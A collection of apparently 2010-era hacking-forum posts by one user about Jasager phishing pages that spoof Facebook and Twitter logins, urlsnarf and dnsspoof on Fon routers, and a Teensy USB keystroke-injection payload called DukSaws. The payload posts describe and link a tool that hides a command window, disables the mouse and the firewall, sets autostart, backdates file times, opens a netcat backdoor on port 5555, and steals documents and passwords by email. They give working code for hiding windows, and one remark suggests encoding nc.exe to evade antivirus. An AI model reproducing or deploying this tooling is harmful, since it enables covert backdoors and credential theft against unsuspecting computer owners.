Vile

I get this when I try to run it: dies after that any ideas?

Awesome work! I just decided to order and upgrade to the Mark IV. Can't wait to play around with it more.

That was a disclaimer / joke.

You can just use require('file.htm'); inside of an index.php here's my setup: index.php: <?php $hhost = $_SERVER['HTTP_HOST']; if (strstr($hhost, "facebook.com")) require('facebook.htm'); elseif (strstr($hhost, "twitter.com")) require('twitter.htm'); ?> Then it's just a matter of modifying the htm files to load the css/image files from ./twitterfiles/ subfolders or what have you. It makes it more clean to have the files in subfolders and to not have to rely on senseless redirecting. The referrer page will still be held in the HTTP_HOST environment variable. (Of course this is just a hypothetical, no one would really want to use a jasager with facebook.com or twitter.com, that's just silly)

Just for the hell of it I tried reinstall dsniff ipk package and it's still the same problem. @Darren does urlsnarf work on your 2100 ? ... This doesn't really make sense to me though because I can run plain ngrep and can see packets. There's no way urlsnarf uses more resources than ngrep, right?

Yeah it did it before then I updated to the more recent version of your firmware and it does the same. It pretty much reboots it immediately after i run run urlsnarf -i br-lan. It does stay up for a long time without running urlsnarf. I'll see if any other features cause it to reboot now edit: ran ./dnsspoof.sh & (OK) added ./ngrep.sh & and it rebooted.. tried again and it worked with dnsspoof / ngrep / karma on and "free" showed 876kb free (I assume that's kb, right?) Still as soon as i run urlsnarf it resets immediately.

URL snarfer and other features seems to reboot the 2200. Is it a resources issue? Does MK3 have more memory/cpu power or something?

This worked for me too on Fon2200 Thanks

Added new version v0.2 I added a similar Document / password stealer as the original HakSaw. It uses the gmail method (with stunnel, etc). Currently the docu/pass stealer doesn't work with OS's using UAC (Win7/Vista). I'll think of a way to fix that soon. The rest should work with 7/Vista though. Changes: [ version 0.2 ] + Added document / password recovery + sending thru email using gmail method (Doesnt work well with vista/7 if they have UAC on.. dont bother if you plan on using it against that. the stunnel.exe wont start the service thus no emails will be sent) + changed the default port netcat listens on to port 5555 + devcon mouse disabling only works for Win XP/ 2000 / 2003 .. I disabled it for the other OS's http://www.ircN.org/Vile/DukSaws02.rar

Yeah it could be done the way the original HakSaw used Blat.exe But you'd need to set up a 'sender' email (through like gmail) to use to send the documents to your real email. So you'd have to set up a fake account on google or another site that has a SMTP server to use as the sender account. You could have some code at the bottom of the code (before the exit command) ... just get the newer version ... That's just an example though. It would depend on what you wanted, and you'd need to also download stunnel program if you planned on using a gmail account to send the emails ( look at hak5's HakSaw code to understand what it would need to do..). I could probably write the code to put in for you if you ... knew you wanted to use the google method and made an account for the 'sender' account on gmail or any other server that has an smtp server, etc

DukSaws 0.2 (pronounced DuckSauce) Uses Psychosis's PsyDuk Framework v0.3 http://www.hak5.org/projects/doku.php?id=psyduk and the WinAVR C compiler (find link at psyduk page) (Requires: Psyduk v0.3 + WinAVR + Teensy Loader) What it does: 1. Creates small command prompt that isn't readable 2. Moves the command prompt off the screen 3. Downloads ncFTPget & ncFTPput command line tools for easy ftp download&uploads in one command 4. Uses a tool called devcon.exe for disabling mouse devices while it does its thing (only on Windows OS's <Vista (not sure why it doesnt work on Vista/7)) 5. Adds Autostart for our payload to registry 6. Clears the 'recently run commands' from start menu 7. Creates batch file that gets run on startup.. disables firewall, sets created file-times of all files to an old date + sets hidden and readonly, starts netcat on port 5555 8. lets you add additional code.. gives you options of downloading&using (netcat, ncftpget, ncftpput, pkzipc, wget, all the password stealing commands from nirsoft (that people used for the Haksaw), nirsoft mylastsearch (search results), firefox's autocomplete, (or whatever you want since you have access to ncftp & wget) ) for your custom code. 9. Documents / Password stealer + emails you it compressed as zip file (Not working correctly with UAC on 7/vista) read the readme DukSaws 0.2

Also you could add this code (Only if you use psychosis's PsyDuk framework) : void PDMoveOffScreen(uint8_t amountOfMoves) { PDKeypressWithModifier(KEY_SPACE, KEY_ALT); PDDelay(10); PDTypeString(PSTR("M")); PDDelay(10); PDKeypressRepeated_Alt(KEY_LEFT,amountOfMoves); PDDelay(10); PDKeypress(KEY_ENTER); } void PDKeypressRepeated_Alt(uint8_t key, uint8_t amountOfTimes) { for(uint8_t i=0; i < amountOfTimes; i++) { PDKeypress(key); PDDelay(2); } } Then in your Main() function after calling the cmd.exe use: PDMoveOffScreen(50); The only problem is if they move their mouse while it is moving.. they can essentially just drag the window back. In my code i use devcon.exe to disable the mouse device while it is moving & reenable it once the commands are finished.

instead of Win+R and running "Cmd" you should run cmd /Q /D /T:7F /F:OFF /V:OFF /K "@echo off && mode con:RATE=31 DELAY=0 && mode con:COLS=15 LINES=1 && title . && cls" (Or if you're like me & you use Psychosis's PsyDuk Framework you can replace the PDOpenWindowsTerminal() in your code with this instead: PDRunWindowsCommand(PSTR("cmd /Q /D /T:7F /F:OFF /V:OFF /K \"@echo off && mode con:RATE=31 DELAY=0 && mode con:COLS=15 LINES=1 && title . && cls\" ")); What it does is: It disables the registry reads cmd.exe runs on start which might slow it down, it turns autocompletion off, changes the background/foreground text color to grey on white which is hard to read and not as easily recognizable as an msdos command box, It also runs cmd.exe with the @echo off command, it uses mode.exe to change the msdos window to have low typing delay from the keyboard and it uses mode once again to change the window size of the msdos box to a small window that is only 1 command line length in height. the last commands it runs are titlebar "." to change it to just an empty titlebar (You could change it to something else, Windows Update for example) .. and then it runs 'cls' to clear the buffer.

Ohh. Yea I was wondering about that.. Here's some changes to my code. I might call it DukSauce or something when I am done. Of course I will give you credit since I used your framework, maybe Psyduk: DukSauce. old code.. Currently fixing it to work with psyduk0.2.1

Added this onto Psychosis's PsyDuk Framework v0.2 **** For Windows Replace your old main() function in his PsyDuk.c with this: old code I might change the 'autostart' method to just use the "sc create" command to create a new service for the ducky.bat instead of relying on the .vbs method to run the bat hidden. Also: i'm aware nc.exe is detected by some A/V. The code snippet could be changed to launch something other than nc.exe or use an encoded version that isnt detected. Psychosis: Can you add typeStringEnter to your ultility.c (I could do it, but it would probably be good built in) Edit: (5/2/10) Added NircCMD download to set the files created/modified times as older dates